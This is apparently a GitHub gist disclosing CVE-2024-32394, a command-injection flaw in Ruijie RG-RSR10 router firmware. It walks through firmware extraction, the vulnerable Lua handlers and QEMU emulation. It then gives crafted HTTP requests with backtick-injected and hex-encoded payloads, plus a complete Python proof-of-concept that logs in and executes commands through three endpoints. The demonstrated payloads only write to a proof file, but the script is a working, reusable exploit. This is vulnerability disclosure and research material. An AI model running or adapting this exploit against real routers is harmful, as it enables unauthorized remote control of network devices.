Skip to content

Instantly share code, notes, and snippets.

@Swind1er
Last active August 4, 2024 08:08
Show Gist options
  • Save Swind1er/7aad5c28e5bdc91d73fa7489b7250c94 to your computer and use it in GitHub Desktop.
Save Swind1er/7aad5c28e5bdc91d73fa7489b7250c94 to your computer and use it in GitHub Desktop.

[CVE ID]

CVE-2024-32394 [PRODUCT] RG-RSR10-01G-T(W)-S RG-RSR10-01G-T(WA)-S

[VERSION]

RSR10-01G-T-S_RSR_3.0(1)B9P2, Release(07150910)

PROBLEM TYPE

[RCE] Authenticated Remote Command Execution

[DESCRIPTION]

Specific firmware versions of the RG-RSR10-01G-T(WA)-S series routers allow authorized attackers to trigger arbitrary command execution vulnerabilities using specific functionalities of the web management page.

Exploit Author:Yaxuan Wang

Date: April 18, 2024, 8:24:21

Tested on: Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux

Vendor Homepage

https://www.ruijie.com.cn/

Influenced Versions

RG-RSR10-01G-T(W)-S RG-RSR10-01G-T(WA)-S

Firmware Download

https://futurewindow-software.oss-cn-beijing.aliyuncs.com/soft/rtr/8050/%E8%BD%AF%E4%BB%B6%E5%8F%8A%E8%A1%A5%E4%B8%81/%E5%85%B6%E4%BB%96/RSR_3.0%281%29B9P2_RSR10-01G-TW-S_07150910.tar.gz?Expires=1712026654&OSSAccessKeyId=LTAI5tS3HMB2X1U9fQwBoUWJ&Signature=3473iA9Sm%2BGbcgGFjiTe5uY6bZA%3D&response-content-type=application%2Foctet-stream

Vulnerability Discovery Process

Basic Information

Extracting File System

binwalk --run-as=root -Me ./RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin

File System Information

└─# readelf -h ./bin/busybox
ELF Header:
  Magic:   7f 45 4c 46 01 02 01 00 01 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       1
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1

Architecture: MIPS big endian

└─# tree -L 1 ./usr/lib/lua/luci
./usr/lib/lua/luci
├── cacheloader.lua
├── cbi
├── cbi.lua
├── ccache.lua
├── config.lua
├── controller
├── debug.lua
├── dispatcher.lua
├── fs.lua
├── http
├── http.lua
├── i18n
├── i18n.lua
├── init.lua
├── ip.lua
├── json.lua
├── ltn12.lua
├── model
├── sauth.lua
├── sgi
├── store.lua
├── sys
├── sys.lua
├── template
├── template.lua
├── tools
├── util.lua
├── version.lua
└── view
11 directories, 19 files

You can see that the entire file system is based on the Linux openwrt architecture, using uhttpd as the server-side.

Vulnerability Location

File Location

  1. /firmware/_RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin.extracted/squashfs-root/usr/lib/lua/luci/controller/admin/network.lua
  2. /firmware/_RSR_3.0(1)B9P2_RSR10-01G-TW-S_07150910_install.bin.extracted/squashfs-root/usr/lib/lua/luci/controller/admin/uci.lua

Vulnerability Description

  1. The function urldecode_params() in /usr/lib/lua/luci/http/protocol.lua does not perform strict filtering on user-supplied parameter content, such as backticks. Users can wrap commands with backticks and concatenate them into several vulnerable commands analyzed below, leading to arbitrary command execution.

  2. The system_auto_download(id) function in /usr/lib/lua/luci/controller/admin/uci.lua does not validate the legitimacy of its parameters, allowing attackers to use backticks, for example, to execute commands.

Vulnerable File

network.lua
function zone_edit() 
	local uci = require("luci.model.uci").cursor()
	local section = luci.http.formvalue("section")
	
	if section ~= "" then
		fork_exec("uci set firewall.@defaults[0].editzone="..section)
		uci:commit("firewall")
	else 
		local fw = require("luci.model.firewall").init(uci)
		local z = fw:new_zone()
		if z then
			section = z.sid
			fork_exec("uci set firewall.@defaults[0].editzone="..section)
			uci:commit("firewall")
		end
	end
	
	local rv = {section}
	luci.http.prepare_content("application/json")
	luci.http.write_json(rv)
	return 
end


function rule_edit() 
	local uci = require("luci.model.uci").cursor()
	local section = luci.http.formvalue("section")
	
	fork_exec("uci set firewall.@defaults[0].editrule="..section)
	uci:commit("firewall")
	
	local rv = {section}
	luci.http.prepare_content("application/json")
	luci.http.write_json(rv)
	return 
end

In the network.lua file, the script fails to validate the correctness of the section variable provided by the user. Specifically, users can invoke three functions: zone_edit, rule_edit, and fork_exec. By employing double backticks "``" to construct malicious commands, the fork_exec function within the script is susceptible to arbitrary command execution.

uci.lua
function index()
	local redir = luci.http.formvalue("redir", true) or
	  luci.dispatcher.build_url(unpack(luci.dispatcher.context.request))
	entry({"admin", "uci", "quick_config_init"}, call("quick_config_init"), nil).leaf = true
	entry({"admin", "uci", "system_auto_download"}, call("system_auto_download"), nil).leaf = true

end

function system_auto_download(id)
	local srv_url = "http://rgos.ruijie.com.cn/eweb/download.asp?id="
	local wget_file = "/tmp/wget_state"
	local bin_file = "/tmp/sysupgrade.img"

	nixio.fs.unlink(wget_file)
	nixio.fs.unlink(bin_file)
	if id and #id > 0 then
		luci.http.prepare_content("text/plain")
		local load_cmd = "wget -O " .. bin_file .. " " .. srv_url .. id .. " 2>" .. wget_file
		fork_exec(load_cmd)
		luci.http.write("")
		return
	end

	luci.http.status(500, "Bad URL")
end

It's evident that in the system_auto_download function, there's no validation performed on the legitimacy of the id parameter. Consequently, users can craft malicious URL requests to pass malformed id parameters (such as backticks), leading to arbitrary command execution.

Validation on QEMU

Image Download

Index of /~aurel32/qemu/mips (debian.org)

Here the author selects: debian_wheezy_mips_standard.qcow2, README.txt, vmlinux-3.2.0-4-4kc-malta.

Simulated Execution

Setting up a simple LAN for communication with QEMU

sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 10.10.10.2/24

QEMU Networking Configuration

#In QEMU
root@debian-mips:~# ifconfig eth0 10.10.10.1

Running QEMU

qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

Packaging File System

tar -cvf squashfs-root.tar squashfs-root

Enabling Simple HTTP Server

python -m http.server 

Downloading and Unpacking File System in QEMU

root@debian-mips:~# wget http://10.10.10.2:8000/squashfs-root.tar
root@debian-mips:~# tar -zvf ./squashfs-root.tar

Configuring Basic Environment in QEMU

root@debian-mips:~# cd squashfs-root
root@debian-mips:~/squashfs-root# rm var #Binwalk may redirect some essential links to /dev>>NULL, so we need to recreate the links.
root@debian-mips:~/squashfs-root# ln -sf tmp var
root@debian-mips:~# mount -t proc /proc ./proc
root@debian-mips:~# mount -o bind /dev ./dev
root@debian-mips:~# chroot . sh

Starting uhttpd

# /etc/init.d/uhttpd start

Login to 10.10.10.1 via a web browser, default password is admin.

Vulnerability Verification

network.lua

Use Burp to intercept traffic packets from the router's web interface setup wizard.

image-20240402143221638

Arbitrarily construct a legitimate entry:

image-20240408185127416

Forward the intercepted request to Repeater and construct the request as follows:

image-20240408185046329

As shown in the above diagram, the function being invoked is admin/network/firewall_zones/zone_edit. By crafting a malicious request using "section=echo%20'haha\'>>/proof.txt", it is demonstrated that the command is executed.

section=`echo%20'haha\'>>/proof.txt

From the screenshot below, it can be seen that the request has been executed successfully.

image-20240408185426614

Similarly, the exploitation method for the rule_edit function is similar. Here are some validations:

image-20240408185736628

image-20240408185808905

uci.lua

Craft malicious URL as follows:

POST /cgi-bin/router/;stok=3a4bc1e07bd2fb016a19e09c3488b221/admin/uci/system_auto_download/2`echo%20-ne%20%22%5Cx65%5Cx63%5Cx68%5Cx6f%5Cx20%5Cx22%5Cx6e%5Cx69%5Cx63%5Cx65%5Cx6f%5Cx6e%5Cx65%5Cx22%5Cx20%5Cx3e%5Cx3e%5Cx20%5Cx2f%5Cx70%5Cx72%5Cx6f%5Cx6f%5Cx66%5Cx2e%5Cx74%5Cx78%5Cx74%22%3Efoo.sh%26%26chmod%20%2Bx%20foo.sh%26%26.%20foo.sh` HTTP/1.1

Host: 10.10.10.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 0

Origin: http://10.10.10.1

Connection: close

Referer: http://10.10.10.1/cgi-bin/router/;stok=3a4bc1e07bd2fb016a19e09c3488b221/admin/network/switch_vlan

Cookie: sysauth=06d36913271b4f850db6b08f74c26fce; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh



The content of the shellcode is echo "niceone" >> /proof.txt.

image-20240410100301587

After sending the malicious request, the command is executed, resulting in the following effect:

image-20240410101926824

Thus, the vulnerability verification on QEMU is completed.

Physical Device Validation

Router Information

9c31742f2fd438d543ed440e24be50a

The router is powered on. Ethernet port is used for validation.

image-20240403092111656

Execute the attack script:

python ./poc.py -c 192.168.1.1 -u admin -p newpassword

Executing the attack script, the command validation is successful, as follows:

image-20240410182551901

POC

# -*- coding: utf-8 -*-
"""
Ruijie Router Arbitrary Command Execution POC.
MIT License

Copyright (c) 2024 Swind1er

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import requests
import argparse
import logging


__author__ = "Yaxuan Wang(Sw1ndl3r)"
__email__ = "2532775668@qq.com"

logging.basicConfig(level=logging.INFO)

def main():
   
    parser = argparse.ArgumentParser(description='Ruijie Router Arbitrary Command Execution POC.')
    parser.add_argument('-c', '--client', metavar='Client', help='Client IP address.')
 
    parser.add_argument('-u', '--username', metavar='Username',default='admin', help='Router username.')
    parser.add_argument('-p', '--password', metavar='Password',default='admin', help='Router password.')
    
    args = parser.parse_args()

    logging.info(f'POC author: {__author__},email:{__email__}')
    logging.info(f'Client IP: {args.client}')
 
    url_static = 'http://'+args.client + '/cgi-bin/router/'
    logging.info(f'URL to login: {url_static}')

    headers = {
    'Host': args.client,
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://'+args.client,
    'Connection': 'close',
    'Referer': 'http://'+args.client+'/cgi-bin/router',
    'Cookie': 'LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh',
    'Upgrade-Insecure-Requests': '1'
    }

    data = {
    'username': args.username,
    'password': args.password
    }

    response = requests.post(url_static, headers=headers, data=data)
    stok_value = ''

    if response.status_code != 200:
        logging.error(f'Failed to login in.')
        exit(0)
    sysauth_value = response.cookies.get('sysauth')
    logging.debug(f'cookie: {sysauth_value}')
    
    if 'Set-Cookie' in response.headers:
        set_cookie = response.headers['Set-Cookie']
        logging.debug(f'Set-Cookie:{set_cookie}')
        stok_value = set_cookie.split('stok=')[1]
        logging.debug(f'stok_value:{stok_value}')
    else:
        logging.warning('Set-Cookie header not found in response')
        exit(0)

    #Verify the vulnerability in zone_edit() in network.lua."
    url = url_static + f';stok={stok_value}/admin/network/firewall_zones/zone_edit'
    logging.info(f"URL to attack:{url}")

    headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'application/json, text/javascript, */*; q=0.01',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'X-Requested-With': 'XMLHttpRequest',
    'Origin': 'http://'+args.client,
    'Referer': 'http://'+args.client + f'/cgi-bin/router/;stok={stok_value}/admin/network/firewall_zones',
    'Cookie': f'sysauth={sysauth_value}; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh'
    }

    data = {
    # U can do anything you want to do.
    'section': "`echo 'Arbitrary execution vulnerability in the zone_edit() function verified successfully!'>>/proof.txt`"
    }
    logging.debug(f"data:{data}")

    response = requests.post(url, headers=headers, data=data)

    if response.status_code < 200 or response.status_code >= 300:
        logging.error(f'Failed to send command execution request, status_code: {response.status_code}')
        exit(0)
    else:
        logging.info(f"Attack URL: {url} Successful.")

    #Verify the vulnerability in rule_edit() in network.lua.
    url = url_static + f';stok={stok_value}/admin/network/firewall_rules/rule_edit'
    logging.info(f"URL to attack:{url}")

    headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'application/json, text/javascript, */*; q=0.01',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'X-Requested-With': 'XMLHttpRequest',
    'Origin': 'http://'+args.client,
    'Referer': 'http://'+args.client + f'/cgi-bin/router/;stok={stok_value}/admin/network/firewall_zones',
    'Cookie': f'sysauth={sysauth_value}; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh'
    }

    data = {
    # U can do anything you want to do.
    'section': "`echo 'Arbitrary execution vulnerability in the rule_edit() function verified successfully!'>>/proof.txt`"
    }
    logging.debug(f"data:{data}")

    response = requests.post(url, headers=headers, data=data)

    if response.status_code < 200 or response.status_code >= 300:
        logging.error(f'Failed to send command execution request, status_code: {response.status_code}')
        exit(0)
    else:
        logging.info(f"Attack URL: {url} Successful.")

    #Verify the vulnerability in system_auto_download() in uci.lua.
    #shellcode:echo "Arbitrary execution vulnerability in the system_auto_download(id) function verified successfully!" >> /proof.txt

    payload = '''`echo%20-ne%20%22%5Cx65%5Cx63%5Cx68%5Cx6f%5Cx20%5Cx22%5Cx41%5Cx72%5Cx62%5Cx69%5Cx74%5Cx72%5Cx61%5Cx72%5Cx79%5Cx20%5Cx65%5Cx78%5Cx65%5Cx63%5Cx75%5Cx74%5Cx69%5Cx6f%5Cx6e%5Cx20%5Cx76%5Cx75%5Cx6c%5Cx6e%5Cx65%5Cx72%5Cx61%5Cx62%5Cx69%5Cx6c%5Cx69%5Cx74%5Cx79%5Cx20%5Cx69%5Cx6e%5Cx20%5Cx74%5Cx68%5Cx65%5Cx20%5Cx73%5Cx79%5Cx73%5Cx74%5Cx65%5Cx6d%5Cx5f%5Cx61%5Cx75%5Cx74%5Cx6f%5Cx5f%5Cx64%5Cx6f%5Cx77%5Cx6e%5Cx6c%5Cx6f%5Cx61%5Cx64%5Cx28%5Cx69%5Cx64%5Cx29%5Cx20%5Cx66%5Cx75%5Cx6e%5Cx63%5Cx74%5Cx69%5Cx6f%5Cx6e%5Cx20%5Cx76%5Cx65%5Cx72%5Cx69%5Cx66%5Cx69%5Cx65%5Cx64%5Cx20%5Cx73%5Cx75%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%5Cx66%5Cx75%5Cx6c%5Cx6c%5Cx79%5Cx21%5Cx22%5Cx20%5Cx3e%5Cx3e%5Cx20%5Cx2f%5Cx70%5Cx72%5Cx6f%5Cx6f%5Cx66%5Cx2e%5Cx74%5Cx78%5Cx74%22%3Efoo.sh%26%26chmod%20%2Bx%20foo.sh%26%26.%20foo.sh`'''
    url = url_static + f';stok={stok_value}/admin/uci/system_auto_download/2{payload}'
    logging.info(f"URL to attack:{url}")

    headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'application/json, text/javascript, */*; q=0.01',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'X-Requested-With': 'XMLHttpRequest',
    'Origin': 'http://'+args.client,
    'Referer': 'http://'+args.client + f'/cgi-bin/router/;stok={stok_value}/admin/network/firewall_zones',
    'Cookie': f'sysauth={sysauth_value}; LOCAL_LANG=zh; UI_LOCAL_COOKIE=zh'
    }

    response = requests.post(url, headers=headers)

    if response.status_code < 200 or response.status_code >= 300:
        logging.error(f'Failed to send command execution request, status_code: {response.status_code}')
        exit(0)
    else:
        logging.info(f"Attack URL: {url} Successful.")
    
    logging.info("Done. Please check the proof.txt file in the root directory.")
    
if __name__ == "__main__":
    main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment